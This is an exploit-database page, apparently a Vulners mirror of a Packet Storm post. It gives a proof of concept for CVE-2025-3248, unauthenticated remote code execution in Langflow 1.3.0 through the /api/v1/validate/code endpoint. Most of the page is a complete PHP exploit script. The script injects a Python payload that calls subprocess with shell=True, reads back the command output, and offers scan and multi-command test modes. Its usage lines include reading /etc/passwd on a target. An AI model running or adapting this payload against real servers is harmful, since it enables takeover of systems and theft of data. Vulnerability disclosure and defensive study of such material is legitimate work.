Lucene search
K

📄 Langflow 1.3.0 Remote Code Execution

🗓️ 18 Dec 2025 00:00:00Reported by indoushkaType 
packetstorm
 packetstorm
🔗 packetstorm.news👁 131 Views

Langflow 1.3.0 permits unauthenticated remote code execution via /api/v1/validate/code by executing Python code without sandboxing.

Related
Code
=============================================================================================================================================
    | # Title     : Langflow 1.3.0 Unauthenticated Code Execution via Code Validation API                                                       |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://github.com/langflow-ai/langflow                                                                                     |
    =============================================================================================================================================
    
    POC : 
    
    [+] References : https://packetstorm.news/files/id/190524/ & CVE-2025-3248
    
    
    [+] Summary :
    
    A critical remote code execution vulnerability exists in Langflow that allows unauthenticated attackers to execute arbitrary system commands via the code validation API endpoint. 
    The vulnerability enables complete compromise of Langflow instances through improper input sanitization in the Python code execution functionality.
       
    The vulnerability exists in Langflow's code validation endpoint (`/api/v1/validate/code`) where user-supplied Python code is executed without proper sandboxing or input validation. 
    The system fails to restrict dangerous Python built-ins and modules, allowing attackers to execute arbitrary operating system commands.
    
    Vulnerable Code Pattern:
    
    ```python
    
    # In /api/v1/validate/code endpoint (conceptual)
    @app.post("/api/v1/validate/code")
    def validate_code(code_request: CodeValidationRequest):
        code = code_request.code
        
        # Dangerous: Code is executed without proper sandboxing
        try:
            # Code is compiled and executed in same context
            exec(code)  # Or similar execution mechanism
            return {"valid": True}
        except Exception as e:
            return {"valid": False, "error": str(e)}
    		
    [+] Usage: 
    
    # Vulnerability Scan
    
    php exploit.php http://localhost:7860 --scan
    
    # Execute a Specific Command
    
    php exploit.php http://localhost:7860 "whoami"
    php exploit.php http://langflow.example.com "cat /etc/passwd"
    
    # Test Multiple Commands
    
    php exploit.php http://target:7860 --test
    
    [+] POC :
    
    <?php
    /**
     * CVE-2025-3248 Exploit - Langflow Remote Code Execution
     * By: indoushka
     * Converted from Python to PHP
     */
    
    class LangflowExploit {
        private $colors;
        private $session;
        
        public function __construct() {
            $this->colors = [
                'RED'     => "\033[91m",
                'GREEN'   => "\033[92m",
                'YELLOW'  => "\033[93m",
                'BLUE'    => "\033[94m",
                'MAGENTA' => "\033[95m",
                'CYAN'    => "\033[96m",
                'WHITE'   => "\033[97m",
                'BOLD'    => "\033[1m",
                'RESET'   => "\033[0m"
            ];
            
            // Initialize cURL session
            $this->session = curl_init();
            curl_setopt_array($this->session, [
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_FOLLOWLOCATION => true,
                CURLOPT_SSL_VERIFYPEER => false,
                CURLOPT_SSL_VERIFYHOST => false,
                CURLOPT_TIMEOUT => 10,
                CURLOPT_USERAGENT => 'Mozilla/5.0',
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/json',
                    'Accept: application/json'
                ]
            ]);
        }
        
        public function __destruct() {
            if ($this->session) {
                curl_close($this->session);
            }
        }
        
        private function color($text, $color) {
            return $this->colors[$color] . $text . $this->colors['RESET'];
        }
        
        private function showBanner() {
            $bannerColors = [$this->colors['GREEN'], $this->colors['CYAN'], $this->colors['BLUE']];
            $randomColor = $bannerColors[array_rand($bannerColors)];
            
            $banner = $randomColor . "
    
    " . $this->colors['RESET'] . 
    $this->colors['MAGENTA'] . "
    
    " . $this->colors['RESET'] .
    $this->colors['RED'] . "\n        CVE-2025-3248 - Langflow RCE Exploit\n" . $this->colors['RESET'] .
    $this->colors['WHITE'] . "                    @indoushka\n\n" . $this->colors['RESET'];
    
            echo $banner;
        }
        
        private function makeRequest($url, $method = 'GET', $data = null) {
            curl_setopt_array($this->session, [
                CURLOPT_URL => $url,
                CURLOPT_CUSTOMREQUEST => $method,
                CURLOPT_POSTFIELDS => $data ? json_encode($data) : null,
                CURLOPT_HTTPHEADER => [
                    'Content-Type: application/json',
                    'Accept: application/json'
                ]
            ]);
            
            $response = curl_exec($this->session);
            $httpCode = curl_getinfo($this->session, CURLINFO_HTTP_CODE);
            $error = curl_error($this->session);
            
            if ($error) {
                return ['success' => false, 'error' => $error];
            }
            
            return [
                'success' => true,
                'status_code' => $httpCode,
                'content' => $response
            ];
        }
        
        private function parseOutput($response) {
            if (!$response['success']) {
                return $response['error'];
            }
            
            if ($response['status_code'] === 200) {
                $data = json_decode($response['content'], true);
                
                if (json_last_error() === JSON_ERROR_NONE) {
                    // Extract error message containing command output
                    if (isset($data['function']['errors'][0])) {
                        $errorMsg = $data['function']['errors'][0];
                        if (is_string($errorMsg) && strpos($errorMsg, "b'") === 0) {
                            // Decode the output from Python bytes format
                            $output = substr($errorMsg, 2, -1);
                            $output = stripcslashes($output);
                            return $output;
                        }
                        return $errorMsg;
                    }
                }
            }
            
            return "[!] Exploit failed with status " . $response['status_code'];
        }
        
        public function exploit($url, $command) {
            $this->showBanner();
            
            $targetUrl = rtrim($url, '/');
            $endpoint = $targetUrl . '/api/v1/validate/code';
            
            echo $this->color("[*] Target: ", 'BLUE') . $targetUrl . "\n";
            echo $this->color("[*] Command: ", 'BLUE') . $command . "\n";
            echo $this->color("[*] Endpoint: ", 'BLUE') . $endpoint . "\n\n";
            
            // Craft the Python code injection payload
            $payload = [
                "code" => "
    def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{$command}\", shell=True))')): pass
    "
            ];
            
            echo $this->color("[*] Sending payload...", 'YELLOW') . "\n";
            
            $response = $this->makeRequest($endpoint, 'POST', $payload);
            
            echo $this->color("[*] Status Code: ", 'YELLOW') . $response['status_code'] . "\n";
            echo $this->color("[*] Raw Response: ", 'YELLOW') . "\n";
            echo substr($response['content'], 0, 500) . "\n\n";
            
            $output = $this->parseOutput($response);
            
            echo $this->color("[+] Command Output:", 'GREEN') . "\n";
            echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
            echo $output . "\n";
            echo $this->color(str_repeat("=", 60), 'CYAN') . "\n";
            
            return $output;
        }
        
        public function scan($url) {
            $this->showBanner();
            
            $targetUrl = rtrim($url, '/');
            $endpoint = $targetUrl . '/api/v1/validate/code';
            
            echo $this->color("[*] Scanning target for Langflow vulnerability: ", 'BLUE') . $targetUrl . "\n\n";
            
            // First check if endpoint exists
            echo $this->color("[*] Checking if API endpoint exists...", 'YELLOW') . "\n";
            $response = $this->makeRequest($endpoint, 'GET');
            
            if (!$response['success']) {
                echo $this->color("[-] Endpoint not accessible", 'RED') . "\n";
                return false;
            }
            
            echo $this->color("[+] Endpoint is accessible", 'GREEN') . " - Status: " . $response['status_code'] . "\n";
            
            // Test with a simple command
            $testCommand = "echo VULNERABLE";
            $payload = [
                "code" => "
    def run(cd=exec('raise Exception(__import__(\"subprocess\").check_output(\"{$testCommand}\", shell=True))')): pass
    "
            ];
            
            echo $this->color("[*] Testing for RCE vulnerability...", 'YELLOW') . "\n";
            $response = $this->makeRequest($endpoint, 'POST', $payload);
            
            if ($response['success'] && $response['status_code'] === 200) {
                $data = json_decode($response['content'], true);
                if (isset($data['function']['errors'][0]) && strpos($data['function']['errors'][0], 'VULNERABLE') !== false) {
                    echo $this->color("[+] Target is VULNERABLE to CVE-2025-3248!", 'RED') . "\n";
                    return true;
                }
            }
            
            echo $this->color("[-] Target does not appear to be vulnerable", 'GREEN') . "\n";
            return false;
        }
        
        public function testCommands($url) {
            $this->showBanner();
            
            echo $this->color("[*] Testing common commands on: ", 'BLUE') . $url . "\n\n";
            
            $commands = [
                'whoami' => 'Current user',
                'pwd' => 'Current directory',
                'uname -a' => 'System information',
                'id' => 'User ID information',
                'ls -la' => 'Directory listing'
            ];
            
            foreach ($commands as $cmd => $description) {
                echo $this->color("[*] Testing: ", 'YELLOW') . $description . "\n";
                $output = $this->exploit($url, $cmd);
                
                if (!empty(trim($output)) && !strpos($output, 'Exploit failed')) {
                    echo $this->color("[+] Success: ", 'GREEN') . trim($output) . "\n";
                } else {
                    echo $this->color("[-] Failed", 'RED') . "\n";
                }
                echo "\n";
            }
        }
    }
    
    // Main execution
    if (php_sapi_name() === 'cli') {
        if ($argc < 2) {
            echo "CVE-2025-3248 - Langflow RCE Exploit\n";
            echo "Usage:\n";
            echo "  php exploit.php <target_url> [command]\n";
            echo "  php exploit.php <target_url> --scan\n";
            echo "  php exploit.php <target_url> --test\n";
            echo "\nExamples:\n";
            echo "  php exploit.php http://localhost:7860 \"whoami\"\n";
            echo "  php exploit.php https://langflow.example.com \"ls -la\"\n";
            echo "  php exploit.php http://target:7860 --scan\n";
            echo "  php exploit.php http://target:7860 --test\n";
            echo "\nDescription:\n";
            echo "  Exploits RCE vulnerability in Langflow via /api/v1/validate/code endpoint\n";
            exit(1);
        }
        
        $target = $argv[1];
        $command = $argv[2] ?? '--scan';
        
        if (!filter_var($target, FILTER_VALIDATE_URL)) {
            echo "Error: Invalid target URL\n";
            exit(1);
        }
        
        $exploit = new LangflowExploit();
        
        switch ($command) {
            case '--scan':
                $exploit->scan($target);
                break;
            case '--test':
                $exploit->testCommands($target);
                break;
            default:
                $exploit->exploit($target, $command);
                break;
        }
    } else {
        echo "This script is intended for command line use only.\n";
    }
    ?>
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

18 Dec 2025 00:00Current
10High risk
Vulners AI Score10
CVSS 3.19.8
EPSS0.92665
131